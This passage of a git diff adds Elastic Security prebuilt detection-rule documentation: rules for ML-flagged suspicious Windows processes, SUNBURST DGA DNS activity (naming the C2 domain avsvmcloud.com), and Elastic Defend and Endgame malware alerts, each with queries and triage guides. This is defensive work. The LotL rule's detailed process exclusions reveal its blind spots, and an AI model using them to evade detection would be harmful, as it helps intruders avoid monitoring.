https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* OS: Windows +* Data Source: Elastic Endgame +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Domain: Endpoint + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a Suspicious Windows Event with a Low Malicious Probability Score* + + +The detection leverages a machine learning model to identify potentially suspicious Windows processes with a low likelihood of being malicious, focusing on defense evasion tactics like masquerading. Adversaries may exploit legitimate processes to bypass security measures. This rule flags such events, excluding known benign patterns, to highlight potential threats for further analysis. + + +*Possible investigation steps* + + +- Review the process details where the problemchild.prediction is 1 and the prediction_probability is less than or equal to 0.98 to understand why the process was flagged as suspicious. +- Check if the process is listed in the blocklist_label as 1, indicating it has been identified as malicious by the model's blocklist. +- Investigate the command-line arguments of the process to identify any unusual or unexpected patterns, excluding known benign patterns such as those involving "C:\WINDOWS\temp\nessus_*.txt" or "C:\WINDOWS\temp\nessus_*.tmp". +- Correlate the flagged process with other system events or logs to determine if it is part of a larger pattern of suspicious activity, focusing on defense evasion tactics like masquerading. +- Assess the parent process and any child processes spawned by the suspicious process to identify potential lateral movement or further malicious activity. +- Consult threat intelligence sources to see if the process or its associated indicators have been reported in recent threat reports or advisories. + + +*False positive analysis* + + +- Nessus scan files in the Windows temp directory may trigger false positives. Exclude paths like C:\WINDOWS\temp\nessus_*.txt and C:\WINDOWS\temp\nessus_*.tmp to prevent these benign events from being flagged. +- Legitimate software updates or installations might mimic suspicious behavior. Monitor and document regular update schedules to differentiate between expected and unexpected activities. +- System administration scripts that automate tasks can appear suspicious. Identify and whitelist these scripts if they are part of routine operations to avoid unnecessary alerts. +- Custom in-house applications may not be recognized by the model. Work with IT to catalog these applications and create exceptions where necessary to reduce false positives. +- Regularly review and update the blocklist and exception rules to ensure they reflect the current environment and known benign activities. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement by the adversary exploiting the masquerading technique. +- Terminate the suspicious process identified by the machine learning model to halt any ongoing malicious activity. +- Conduct a thorough review of the process's parent and child processes to identify any additional suspicious activities or related processes that may require termination. +- Restore the system from a known good backup if any malicious activity is confirmed, ensuring that the backup is free from compromise. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement enhanced monitoring for similar masquerading attempts by adjusting alert thresholds or adding specific indicators of compromise (IOCs) related to the detected event. +- Escalate the incident to the security operations center (SOC) or relevant security team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +process where ((problemchild.prediction == 1 and problemchild.prediction_probability <= 0.98) or +blocklist_label == 1) and not process.args : ("*C:\\WINDOWS\\temp\\nessus_*.txt*", "*C:\\WINDOWS\\temp\\nessus_*.tmp*") and +process.parent.executable != null and not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and +not process.parent.name : ("cmd.exe", "powershell.exe") and +not (process.name == "net1.exe" and process.parent.name == "net.exe") and +not (process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.name : ("UCPDMgr.exe", "sdbinst.exe", "gpupdate.exe", "rundll32.exe", "taskhostw.exe", "taskeng.exe")) and +not (process.name: ("powershell.exe", "cmd.exe", "cscript.exe") and + process.parent.executable : ("C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe", + "C:\\Users\\*\\Documents\\scripts\\nssm-2.24\\win64\\nssm.exe", + "C:\\Windows\\System32\\cmd.exe", + "C:\\Windows\\SysWOW64\\cmd.exe", + "C:\\Windows\\CCM\\CcmExec.exe", + "C:\\Windows\\System32\\svchost.exe", + "C:\\Windows\\System32\\gpscript.exe", + "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", + "C:\\appian\\java\\bin\\java.exe")) and +not (process.executable : "C:\\Windows\\System32\\cscript.exe" and process.parent.name : ("node.exe", "MicroStrategy Services.exe")) and +not (process.name : "MpCmdRun.exe" and process.parent.name : ("MsMpEng.exe", "MpCmdRun.exe", "svchost.exe")) and +not process.executable : ("C:\\Program Files\\*.exe", "C:\\Program Files (x86)\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc new file mode 100644 index 0000000000..ba071bd498 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain]] +=== Machine Learning Detected DGA activity using a known SUNBURST DNS domain + +A supervised machine learning model has identified a DNS question name that used by the SUNBURST malware and is predicted to be the result of a Domain Generation Algorithm. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Data Source: Network Packet Capture + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected DGA activity using a known SUNBURST DNS domain* + + +Domain Generation Algorithms (DGAs) are used by adversaries to dynamically generate domain names for command and control (C2) communication, making it difficult to block malicious domains. The SUNBURST malware utilized such techniques. The detection rule leverages machine learning to identify DNS queries linked to these generated domains, specifically targeting those associated with SUNBURST, by analyzing patterns and predicting malicious activity, thus aiding in early threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the DNS logs to identify the source IP address associated with the DNS query for avsvmcloud.com to determine the affected host within the network. +- Check historical DNS query logs for the identified host to see if there are additional queries to other suspicious or known malicious domains, indicating further compromise. +- Investigate the network traffic from the identified host around the time of the alert to detect any unusual patterns or connections to external IP addresses that may suggest command and control activity. +- Examine endpoint security logs and alerts for the affected host to identify any signs of SUNBURST malware or other related malicious activity. +- Correlate the alert with other security events in the environment to determine if there are any related incidents or patterns that could indicate a broader attack campaign. +- Assess the risk and impact of the detected activity on the organization and determine if immediate containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or network services may occasionally use domain generation algorithms for load balancing or redundancy, leading to false positives. Users should monitor and whitelist these known benign services. +- Internal testing environments or security tools that simulate DGA behavior for research or training purposes might trigger alerts. Exclude these environments by adding them to an exception list. +- Some cloud services might use dynamic DNS techniques that resemble DGA patterns. Identify and document these services, then configure exceptions to prevent unnecessary alerts. +- Frequent legitimate access to avsvmcloud.com by security researchers or analysts could be misclassified. Ensure these activities are logged and reviewed, and create exceptions for known research IPs or user accounts. +- Regularly review and update the exception list to ensure it reflects current network behavior and does not inadvertently allow new threats. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the malicious domain avsvmcloud.com and halt potential data exfiltration or lateral movement. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove any SUNBURST malware or related malicious files. +- Review and block any outbound traffic to the domain avsvmcloud.com at the network perimeter to prevent future connections from other potentially compromised systems. +- Analyze network logs and DNS query records to identify any other systems that may have communicated with the domain, and apply the same isolation and scanning procedures to those systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the compromise. +- Implement enhanced monitoring and alerting for any DNS queries or network traffic patterns indicative of DGA activity, particularly those resembling SUNBURST characteristics, to detect and respond to similar threats promptly. +- Review and update incident response and recovery plans to incorporate lessons learned from this incident, ensuring faster and more effective responses to future threats. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_prediction:1 and dns.question.registered_domain:avsvmcloud.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-detected-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-detected-elastic-defend.asciidoc new file mode 100644 index 0000000000..153c2244f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-detected-elastic-defend.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-malicious-file-detected-elastic-defend]] +=== Malicious File - Detected - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for malicious files is received. Enabling this rule allows you to immediately begin investigating your Endpoint malicious file alerts. This rule identifies Elastic Defend malicious file detections only, and does not include prevention alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Execution +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Malicious File - Detected - Elastic Defend* + + +Elastic Endpoint malware protection leverages a combination of supervised machine learning (ML) models (PE, MachO) and yara signatures. Our ML models are trained on hundreds of millions of executables and model updates are released approximately monthly. Our yara signatures are created with automated signature creation technologies built in-house along with hand-written rules by our threat researchers. + +Files are scanned on write or deletion, process executables are scanned on executions and libraries are scanned on load. You can differentiate these types by looking at the `event.action` field in the alert. It can be execution, `load`, `creation`, `modification`, or `deletion`. Scanning files written to disk is best effort, while execution or load scanning is done ‘in-line’ for true prevention. + + +*Possible investigation steps* + + +- For machine learning (ML) malware alerts the `file.Ext.malware_classification.score` and `file.Ext.malware_classification.version` fields indicate which model version was used to classify the file and the classification score (0 to 1). +- For malware signature hits, `threat_name` is an important field which will guide the user on what malware family the sample belongs to. +- For Yara matches, Malware alerts do provide the specific binary content identified by the yara rule in the alert metadata (it is base64 encoded and stored in the `matches` field). +- A file can also hit on multiple Yara signatures. In the alert metadata, the `primary` signature (`malware_signature.primary`) will be whichever we determine to have the highest severity. +- Malicious file alerts for files in download directories or written by browsers, office applications, script interpreters or other lolbins are especially correlated with malicious activity. +- Particular attention should be paid to files located in suspicious directories like `Public` folder, `Downloads`, `Temp` and `ProgramData`. +- Verify if the file is signed or not using the `file.Ext.code_signature` field. Even if the file is signed with a valid certificate verify the global prevalance of that signed in your environment. +- Verify the malicious file timestamp metadata using `file.created`, `file.mtime` and `file.accessed` to asses exactly if it's an old or new infection. +- Investigate the activity of the process that created, modified or loaded the malicious file (parent process tree, process.command_line, child processes, network, registry and files events). +- Assess whether this file is prevalent in the environment by looking for similar occurrences across hosts by `file.hash.sha256` or by `file.name` patterns. +- Verify the activity of the `user.name` associated with Malware alert (local or remote actity, privileged or standard user). +- Verify if there are any other Alert types (Behavior or Memory Threat) associated with the same host or user or process within the same time. + +*False positive analysis* + + +- Other endpoint security vendors especially with their quarantine folders. +- Dynamically generated or compiled executables such as from csc.exe or other compilers. Due to the dynamic nature, each instance will likely have a unique hash and no signer + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : malicious_file and (event.type : allowed or (event.type: denied and event.outcome: failure)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-prevented-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-prevented-elastic-defend.asciidoc new file mode 100644 index 0000000000..5dfe26db6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malicious-file-prevented-elastic-defend.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-malicious-file-prevented-elastic-defend]] +=== Malicious File - Prevented - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for malicious files is received. Enabling this rule allows you to immediately begin investigating your Endpoint malicious file alerts. This rule identifies Elastic Defend malicious file preventions only, and does not include detection only alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Execution +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Malicious File - Prevented - Elastic Defend* + + +Elastic Endpoint malware protection leverages a combination of supervised machine learning (ML) models (PE, MachO) and yara signatures. Our ML models are trained on hundreds of millions of executables and model updates are released approximately monthly. Our yara signatures are created with automated signature creation technologies built in-house along with hand-written rules by our threat researchers. + +Files are scanned on write or deletion, process executables are scanned on executions and libraries are scanned on load. You can differentiate these types by looking at the `event.action` field in the alert. It can be execution, `load`, `creation`, `modification`, or `deletion`. Scanning files written to disk is best effort, while execution or load scanning is done ‘in-line’ for true prevention. + + +*Possible investigation steps* + + +- For machine learning (ML) malware alerts the `file.Ext.malware_classification.score` and `file.Ext.malware_classification.version` fields indicate which model version was used to classify the file and the classification score (0 to 1). +- For malware signature hits, `threat_name` is an important field which will guide the user on what malware family the sample belongs to. +- For Yara matches, Malware alerts do provide the specific binary content identified by the yara rule in the alert metadata (it is base64 encoded and stored in the `matches` field). +- A file can also hit on multiple Yara signatures. In the alert metadata, the `primary` signature (`malware_signature.primary`) will be whichever we determine to have the highest severity. +- Malicious file alerts for files in download directories or written by browsers, office applications, script interpreters or other lolbins are especially correlated with malicious activity. +- Particular attention should be paid to files located in suspicious directories like `Public` folder, `Downloads`, `Temp` and `ProgramData`. +- Verify if the file is signed or not using the `file.Ext.code_signature` field. Even if the file is signed with a valid certificate verify the global prevalance of that signed in your environment. +- Verify the malicious file timestamp metadata using `file.created`, `file.mtime` and `file.accessed` to asses exactly if it's an old or new infection. +- Investigate the activity of the process that created, modified or loaded the malicious file (parent process tree, process.command_line, child processes, network, registry and files events). +- Assess whether this file is prevalent in the environment by looking for similar occurrences across hosts by `file.hash.sha256` or by `file.name` patterns. +- Verify the activity of the `user.name` associated with Malware alert (local or remote actity, privileged or standard user). +- Verify if there are any other Alert types (Behavior or Memory Threat) associated with the same host or user or process within the same time. + +*False positive analysis* + + +- Other endpoint security vendors especially with their quarantine folders. +- Dynamically generated or compiled executables such as from csc.exe or other compilers. Due to the dynamic nature, each instance will likely have a unique hash and no signer + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect and prevent further post exploitation activities in the environment. + - Contain the affected system by isolating it from the network to prevent further spread of the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : malicious_file and event.type : denied and event.outcome : success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..4e0b0ebcc1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-detected-elastic-endgame.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-34-malware-detected-elastic-endgame]] +=== Malware - Detected - Elastic Endgame + +Elastic Endgame detected Malware. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Malware - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that provides endpoint protection by monitoring and analyzing system activities to detect malicious behavior. Adversaries may exploit this technology by attempting to bypass its detection capabilities or by executing malware that mimics legitimate processes. The detection rule identifies suspicious file classification events, flagging potential malware activities with a high-risk score, thus enabling swift investigation and response. + + +*Possible investigation steps* + + +- Review the alert details in the Elastic Endgame console by clicking the Elastic Endgame icon in the event.module column or the link in the rule.reference column to gather more context about the detected malware. +- Examine the specific file classification event by checking the event.action or endgame.event_subtype_full fields to understand the nature of the suspicious file activity. +- Analyze the endpoint's recent activity logs to identify any unusual behavior or patterns that coincide with the time of the alert. +- Investigate the source and destination of the file involved in the alert to determine if it is part of a known legitimate process or if it has been flagged in previous incidents. +- Check for any additional alerts or related events from the same endpoint or user to assess if this is part of a broader attack or isolated incident. +- Consult threat intelligence sources to see if the file or behavior matches known malware signatures or tactics, techniques, and procedures (TTPs). + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger file classification events. Users can create exceptions for known update processes to prevent these from being flagged as malware. +- System maintenance tasks, such as disk cleanup or defragmentation, might mimic suspicious file activities. Exclude these routine tasks by identifying their specific processes and adding them to the exception list. +- Security tools or antivirus software performing scans can generate alerts. Identify these tools and configure the rule to ignore their activities to reduce false positives. +- Custom scripts or automation tools used within the organization may be misclassified. Review these scripts and whitelist them if they are verified as safe and necessary for business operations. +- Frequent alerts from specific directories known to store temporary or cache files can be excluded by specifying these directories in the rule settings. + + +*Response and remediation* + + +- Isolate the affected endpoint immediately to prevent further spread of the detected malware across the network. +- Terminate any suspicious processes identified by Elastic Endgame that are associated with the file classification event. +- Quarantine the suspicious files flagged by the detection rule to prevent execution and further analysis. +- Conduct a thorough scan of the isolated endpoint using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Restore the affected system from a known good backup if malware removal is not feasible or if system integrity is compromised. +- Review and update endpoint protection policies to ensure they are configured to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:file_classification_event or endgame.event_subtype_full:file_classification_event) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..00cde56dd0 --- /dev/null +++ 